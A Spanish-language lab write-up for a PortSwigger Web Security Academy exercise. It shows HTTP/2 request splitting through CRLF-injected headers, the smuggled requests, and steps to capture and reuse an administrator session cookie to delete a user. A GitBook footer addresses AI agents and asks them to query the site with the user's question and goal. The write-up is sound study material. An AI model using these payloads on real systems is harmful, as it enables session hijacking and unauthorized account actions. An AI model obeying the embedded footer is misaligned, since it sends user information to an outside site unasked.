> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/http2-splitting-via-crlf-injection.md).

# División de solicitudes HTTP/2 mediante inyección CRLF

Notas de División de solicitudes HTTP/2 mediante inyección CRLF para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### División de solicitudes HTTP/2 mediante inyección CRLF

El front-end degrada las solicitudes HTTP/2 a HTTP/1 y no limpia correctamente las cabeceras. / Esta falla permite un ataque de división de solicitudes, usado aquí para envenenar la línea de respuesta y acceder al panel de administración para eliminar al usuario **carlos**. / Un administrador se conecta cada **10 segundos** y la conexión del back-end se reinicia cada **10 solicitudes**, lo que facilita volver a una conexión limpia.

* Aunque la consulta esté mal formada, el servidor no devuelve ningún mensaje de error.
* Ejemplo de intento en HTTP/2:

```http
POST / HTTP/2
Host: 0a28000a0454ccd8800dee4e00990069.web-security-academy.net
Tranfer-Encoding: chunked

3
abc
X


```

No se generan errores.

* Se añadió una cabecera personalizada a **Cabeceras de la solicitud** (Burp):

```http
Nombre:
test
Valor:
test
Transfer-Encoding: chunked
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-935c4ef1c926f31a3b5b47e05300d3216a497303%2F%7B0A5FD0EE-1A91-458D-9F1E-BBD73ABC0F88%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Con una solicitud GET que contiene un cuerpo, el servidor especifica que GET no puede llevar un cuerpo, lo que confirma que existen algunas validaciones, pero siguen siendo insuficientes para las cabeceras inyectadas.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-324e8b0b2fb8d1e8e3846644b00a8374d4a06aea%2F%7BA0203264-F761-42F9-8C20-92EC37260A94%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Inyección CRLF a través de cabeceras HTTP/2

Al colocar las cabeceras controladas mediante HTTP/2, la inyección CRLF es aceptada. / Entonces puedes insertar una solicitud adicional después de la solicitud legítima durante la degradación a HTTP/1.

Ejemplo de carga oculta:

```http
GET / HTTP/2
Host: 0a28000a0454ccd8800dee4e00990069.web-security-academy.net


```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ffcf22181c622a73c84a0fdd1636bdaa0db33df%2F%7B4A6F694D-B7C1-4688-B640-C53605E37F17%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4e513dbd7b850aac4a3c6d3100807b5b21efa565%2F%7B45299CA4-8B92-438C-A16A-81248ADC504E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Explotación

1. Inyecta una solicitud oculta dirigida a:/ **GET / HTTP Admin/1.1**

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bdce480abc23eb74c8d4c9b3a0e1a6a25d1f0a2d%2F%7B48C15764-C6B1-414B-9F0F-41B2496BB7FB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Envía varias solicitudes para que el administrador active la respuesta trampa.

```http
test

GET /admin HTTP/1.1
Host: 0a28000a0454ccd8800dee4e00990069.web-security-academy.net
```

* Intercepta la solicitud del back-end /admin que contiene la \*\*cookie de sesión de administrador\*\*.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bdc043221b4f5518382bcacdaab41a4364fd0bb9%2F%7B5B9706DF-9860-4B02-859D-1CBB6797028D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

1. Reutiliza esta sesión robada para acceder al panel de administración.
2. Desde el panel, elimina al usuario **carlos**.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-70978bd19c8c4e0b2251aa61f80c9d3e886a6066%2F%7BCAD15DFB-815C-443B-B0AB-28ABAA1E0FFC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/request-smuggling/http2-splitting-via-crlf-injection.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
